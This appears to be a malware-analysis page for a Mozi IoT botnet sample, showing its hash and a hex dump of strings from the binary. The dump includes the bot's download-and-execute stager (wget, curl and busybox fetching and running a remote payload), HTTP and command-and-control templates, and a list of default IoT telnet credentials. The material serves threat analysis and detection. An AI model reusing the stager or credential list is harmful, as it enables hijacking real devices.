437c832b74c494f4ad3aca69bd1097cfc0e2d4c060ff6f9863703320549bc7f3
Mozi botnet malware
Mozi self-propagating IoT worm botMirai credential list with BusyBox payload stager
SHA-256437c832b74c494f4ad3aca69bd1097cfc0e2d4c060ff6f9863703320549bc7f3
Evidence
⋯7 more rows
0x34b98504f5354202f63646e2d6367692f0000POST /cdn-cgi/..
0x34ba820485454502f312e310d0a557365722d HTTP/1.1..User-
0x34bb84167656e743a20000d0a486f73743a20Agent: ...Host:
0x34bc800000000300d0a0047455400436f6f6b....0...GET.Cook
0x34bd869653a20000000003b20000068747470ie: ....; ..http
0x34be80000000075726c3d00000000504f5354....url=....POST
0x34bf80000000027000000736f636b65742065....'...socket e
0x34c0872726f72000000006572726f72000000rror....error...
⋯6 more rows
0x34c78730000002e636f6e6669670025642e25s....config.%d.%
0x34c88642e25642e256400474554202f632048d.%d.%d.GET /c H
0x34c985454502f312e300d0a000000486f7374TTP/1.0.....Host
0x34ca83a2025730d0a0000256868752e256868: %s....%hhu.%hh
⋯8 more rows
0x34d3808cd030010cd030018cd030005000000................
0x34d48000000005b636e635d0000005b2f636e....[cnc]...[/cn
0x34d58635d0000000000010000000025356875c]..........%5hu
0x34d6800000000485454502f312e3100000000....HTTP/1.1....
0x34d78436f6e74656e742d4c656e6774683a00Content-Length:.
0x34d88436f6e74656e742d547970653a000000Content-Type:...
0x34d9847455420257320485454502f312e310dGET %s HTTP/1.1.
0x34da80a486f73743a2025730d0a436f6e6e65.Host: %s..Conne
0x34db86374696f6e3a204b6565702d416c6976ction: Keep-Aliv
0x34dc8650d0a436f6e74656e742d547970653ae..Content-Type:
0x34dd8206170706c69636174696f6e2f6f6374 application/oct
0x34de865742d73747265616d0d0a5265666572et-stream..Refer
0x34df865723a20687474703a2f2f6261696475er: http://baidu
0x34e082e636f6d2f25732f25732f25642f2573.com/%s/%s/%d/%s
0x34e182f25732f25732f2573290d0a0d0a0000/%s/%s/%s)......
⋯9 more rows
0x36888653a2062797465733d00000055736572e: bytes=...User
0x368982d4167656e743a20000000002f70726f-Agent: ..../pro
0x368a8632f25732f6578650000000023000000c/%s/exe....#...
0x368b82b000000474554202f63000048545450+...GET /c..HTTP
0x368c82f312e3120323030204f4b0d0a536572/1.1 200 OK..Ser
0x368d87665723a206e67696e780d0a436f6e74ver: nginx..Cont
0x368e8656e742d4c656e6774683a2025640d0aent-Length: %d..
0x368f8436f6e6e656374696f6e3a20636c6f73Connection: clos
0x36908650d0a436f6e74656e742d547970653ae..Content-Type:
0x36918206170706c69636174696f6e2f7a6970 application/zip
0x369280d0a0d0a25733a6c6f67696e6f6b2000....%s:loginok .
0x36938485454502f312e3120323030204f4b0dHTTP/1.1 200 OK.
0x369480a5365727665723a206e67696e780d0a.Server: nginx..
0x36958436f6e74656e742d4c656e6774683a20Content-Length:
0x3696825640d0a436f6e6e656374696f6e3a20%d..Connection:
0x36978636c6f73650d0a436f6e74656e742d54close..Content-T
0x369887970653a206170706c69636174696f6eype: application
0x369982f7a69700d0a0d0a0000000054435000/zip........TCP.
0x369a855504e502042540069707461626c6573UPNP BT.iptables
⋯8 more rows
⋯5 more rows
0x37110faffbe90eb6c50a4f7a3f9bef27871c6.....lP......xq.
0x37120414c410c414a434c45474f470c414d4fALA.AJCLEGOG.AMO
0x3713022000000223500005047524d50560c41"..."5..PGRMPV.A
0x371404a434c45474f470c414d4f2200000000JCLEGOG.AMO"....
0x3715099c700004e4b5156474c4b4c45025657....NKQVGLKLE.VW
0x371604c1222004a56565251180d0d5b4d5756L.".JVVRQ...[MWV
0x37180220000000d52504d410d22000d475a47"....RPMA."..GZG
⋯4 more rows
0x371d0646e6d6d662200006e6d6e6c6d657664dnmmf"..nmnlmevd
0x371e06d2200007e5a171a7e5a16667e5a1667m"..~Z..~Z.f~Z.g
0x371f07e5a16677e5a16117e5a17127e5a1614~Z.g~Z..~Z..~Z..
0x372007e5a101022000000584d4e4e43504622~Z.."...XMNNCPF"
0x37210000000006567766e6d61636e6b722200....egvnmacnkr".
0x37220514a474e4e220000474c43404e472200QJGNN"..GLC@NG".
0x37230515b5156474f2200514a22000d404b4cQ[QVGO".QJ"..@KL
0x372400d4057515b404d5a026f6b70636b2200.@WQ[@MZ.okpck".
0x372506f6b70636b18024352524e4756024c4dokpck..CRRNGV.LM
0x372605602444d574c4622000000004c414d50V.DMWLF"....LAMP
0x3727050474156220000000d404b4c0d405751PGAV"....@KL.@WQ
0x372805b404d5a02525122000000000d404b4c[@MZ.RQ".....@KL
0x372900d4057515b404d5a02494b4e4e020f1b.@WQ[@MZ.IKNN...
0x372a00222000076714d5750414702674c454b."..vqMWPAG.gLEK
0x372b04c4702735747505b220000000d475641LG.sWGP["....GVA
0x372c00d5047514d4e540c414d4c4422000000.PGQMNT.AMLD"...
0x372d04c434f47514750544750022200000000LCOGQGPTGP."....
0x372e0614d4c4c4741564b4d4c180249474752aMLLGAVKML..IGGR
⋯13 more rows
⋯3 more rows
0x37a29616d650000000070617373000000003eame....pass....>
0x37a392f7661722f72756e2f2e782626636420/var/run/.x&&cd
0x37a492f7661722f72756e3b3e2f6d6e742f2e/var/run;>/mnt/.
0x37a597826266364202f6d6e743b3e2f757372x&&cd /mnt;>/usr
0x37a692f2e7826266364202f7573723b3e2f64/.x&&cd /usr;>/d
0x37a7965762f2e7826266364202f6465763b3eev/.x&&cd /dev;>
0x37a892f6465762f73686d2f2e782626636420/dev/shm/.x&&cd
0x37a992f6465762f73686d3b3e2f746d702f2e/dev/shm;>/tmp/.
0x37aa97826266364202f746d703b3e2f766172x&&cd /tmp;>/var
0x37ab92f2e7826266364202f7661723b726d20/.x&&cd /var;rm
0x37ac92d726620693b7767657420687474703a-rf i;wget http:
0x37ad92f2f25733a25642f69207c7c6375726c//%s:%d/i ||curl
0x37ae9202d4f20687474703a2f2f25733a2564 -O http://%s:%d
0x37af92f69207c7c2f62696e2f62757379626f/i ||/bin/busybo
0x37b0978207767657420687474703a2f2f2573x wget http://%s
0x37b193a25642f693b63686d6f642037373720:%d/i;chmod 777
0x37b2969207c7c286370202f62696e2f6c7320i ||(cp /bin/ls
0x37b3969693b63617420693e6969202626726dii;cat i>ii &&rm
0x37b4920693b637020696920693b726d206969 i;cp ii i;rm ii
0x37b59293b2e2f693b2f62696e2f6275737962);./i;/bin/busyb
0x37b696f78206563686f202d6520272573270dox echo -e '%s'.
⋯8 more rows
0x37bf92f7661722f2e7826266364202f766172/var/.x&&cd /var
0x37c093b726d202d726620693b776765742068;rm -rf i;wget h
0x37c197474703a2f2f25733a25642f62696e2ettp://%s:%d/bin.
0x37c297368207c7c6375726c202d4f20687474sh ||curl -O htt
0x37c39703a2f2f25733a25642f62696e2e7368p://%s:%d/bin.sh
0x37c49207c7c2f62696e2f62757379626f7820 ||/bin/busybox
0x37c597767657420687474703a2f2f25733a25wget http://%s:%
0x37c69642f62696e2e73683b63686d6f642037d/bin.sh;chmod 7
0x37c7937372062696e2e7368207c7c2863702077 bin.sh ||(cp
0x37c892f62696e2f6c73206269782e73683b63/bin/ls bix.sh;c
0x37c9961742062696e2e73683e6269782e7368at bin.sh>bix.sh
0x37ca93b726d2062696e2e73683b6370206269;rm bin.sh;cp bi
0x37cb9782e73682062696e2e73683b726d2062x.sh bin.sh;rm b
0x37cc969782e7368293b73682062696e2e7368ix.sh);sh bin.sh
0x37cd92025733b2f62696e2f62757379626f78 %s;/bin/busybox
0x37ce9206563686f202d6520272573270d0a00 echo -e '%s'...
⋯5 more rows
0x37f986f727400000000007375706572000000ort.....super...
0x37fa874656c6e657461646d696e0000000000telnetadmin.....
0x37fb82121487561776569000000006b656f6d!!Huawei....keom
⋯11 more rows
0x38078746563680000000074656c6e65740000tech....telnet..
0x38088786333353131000076697a7876000000xc3511..vizxv...
0x38098506f6e353231000065323030386a6c00Pon521..e2008jl.
0x380a800000000724070387030722b00000000....r@p8p0r+....
0x380b8474d3831383200003235383032353830GM8182..25802580
0x380c80000000063687a6864706c0000000000....chzhdpl.....
0x380d846697265697475700000000067706f6eFireitup....gpon
0x380e8000000005a7465353231000068673278....Zte521..hg2x
0x380f83000000065706963726f7574657200000...epicrouter..
⋯4 more rows
0x381480000000061646d696e70617373000000....adminpass...
0x38158786d686469706300000000006a75616exmhdipc.....juan
0x3816874656368000000004048756177656948tech....@HuaweiH
0x381786777000061646d696e48570000000000gw..adminHW.....
⋯3 more rows
0x381b800000000313233343536000035343332....123456..5432
0x381c8310000000000000068693335313800001.......hi3518..
0x381d870617373776f72640000000031323334password....1234
0x381e8350000006675636b65720000706173735...fucker..pass
0x381f80000000061646d696e31323334000000....admin1234...
0x382083131313100000000736d6361646d696e1111....smcadmin
0x382180000000031323334000000006b6c7631....1234....klv1
0x38228323300006b6c7631323334000000000023..klv1234.....
0x382387a746500000000006a76627a64000000zte.....jvbzd...